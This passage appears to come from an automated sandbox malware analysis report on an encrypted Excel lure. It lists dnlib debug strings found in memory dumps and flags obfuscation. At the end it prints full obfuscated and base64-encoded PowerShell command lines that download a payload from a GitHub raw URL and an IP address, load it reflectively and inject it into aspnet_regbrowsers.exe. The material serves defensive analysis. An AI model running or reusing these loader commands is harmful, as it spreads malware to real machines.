Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BKsn.pdb source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: egbrowsers.pdb source: aspnet_regbrowsers.exe, 00000011.00000002.490337170.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: aspnet_regbrowsers.pdbl source: explorer.exe, 00000017.00000002.639143250.000000000878F000.00000004.80000000.00040000.00000000.sdmp, niLILOT.exe, 00000019.00000000.488929503.0000000000332000.00000020.00000001.01000000.0000000A.sdmp, mstsc.exe, 0000001B.00000002.638080396.00000000026CF000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 0000001B.00000002.637568604.000000000037D000.00000004.00000020.00020000.00000000.sdmp, niLILOT.exe.17.dr
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 0000000F.00000002.479528162.0000000000299000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: egbrowsers.pdbd source: aspnet_regbrowsers.exe, 00000011.00000002.490337170.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp

Source: FC830000.0.dr

Initial sample: OLE indicators vbamacros = False

Source: PO.78NO9.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, DyZNpLnfd9hpvhcF8H.cs

.Net Code: dnso30Hnm5aN7ppryWg System.Reflection.Assembly.Load(byte[])

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INVOKE-eXpRESSION( ('c'+'F1url = '+'fX'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/No'+'Dete'+'c'+'tOn/No'+'DetectOn'+'/refs/heads/main'+'/DetahN'+'oth-V.'+'txtf'+'X'+'h'+'; cF'+'1'+'bas'+'e'+'64Cont'+'ent'+' ='+' '+'(New-'+'Object '+'Syst'+'e'+'m.'+'N'+'et.WebC'+'li'+'en'+'t)'+'.DownloadStrin'+'g(cF1url);'+' cF'+'1bi'+'n'+'a'+'ryC'+'ontent = [Sy'+'stem.C'+'on'+'v'+'e'+'rt'+']'+'::Fro'+'mBase64Str'+'ing(cF1base64Co'+'nte'+'nt); cF1'+'a'+'ssembly = [R'+'eflecti'+'on.Ass'+'embly'+']:'+':Load(cF'+'1binary'+'Content); '+'['+'dnlib.IO.Home]::VAI(pNAt'+'x'+'t.RERC'+'CR/333/82.14.'+'042.83//:ptthpNA, pN'+'Adesa'+'tivadopNA, pNAdesati'+'vadop'+'NA,'+' pNAd'+'esativadopNA, pNAa'+'spnet_r'+'egbrowserspNA, pNAp'+'NA'+',pNAp'+'NA)').rePlaCe('fXh',[STrinG][Char]39).rePlaCe(([Char]99+[Char]70+[Char]49),[STrinG][Char]36).rePlaCe(([Char]112+[Char]78+[Char]65),[STrinG][Char]34))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INVOKE-eXpRESSION( ('c'+'F1url = '+'fX'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/No'+'Dete'+'c'+'tOn/No'+'DetectOn'+'/refs/heads/main'+'/DetahN'+'oth-V.'+'txtf'+'X'+'h'+'; cF'+'1'+'bas'+'e'+'64Cont'+'ent'+' ='+' '+'(New-'+'Object '+'Syst'+'e'+'m.'+'N'+'et.WebC'+'li'+'en'+'t)'+'.DownloadStrin'+'g(cF1url);'+' cF'+'1bi'+'n'+'a'+'ryC'+'ontent = [Sy'+'stem.C'+'on'+'v'+'e'+'rt'+']'+'::Fro'+'mBase64Str'+'ing(cF1base64Co'+'nte'+'nt); cF1'+'a'+'ssembly = [R'+'eflecti'+'on.Ass'+'embly'+']:'+':Load(cF'+'1binary'+'Content); '+'['+'dnlib.IO.Home]::VAI(pNAt'+'x'+'t.RERC'+'CR/333/82.14.'+'042.83//:ptthpNA, pN'+'Adesa'+'tivadopNA, pNAdesati'+'vadop'+'NA,'+' pNAd'+'esativadopNA, pNAa'+'spnet_r'+'egbrowserspNA, pNAp'+'NA'+',pNAp'+'NA)').rePlaCe('fXh',[STrinG][Char]39).rePlaCe(([Char]99+[Char]70+[Char]49),[STrinG][Char]36).rePlaCe(([Char]112+[Char]78+[Char]65),[STrinG][Char]34))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
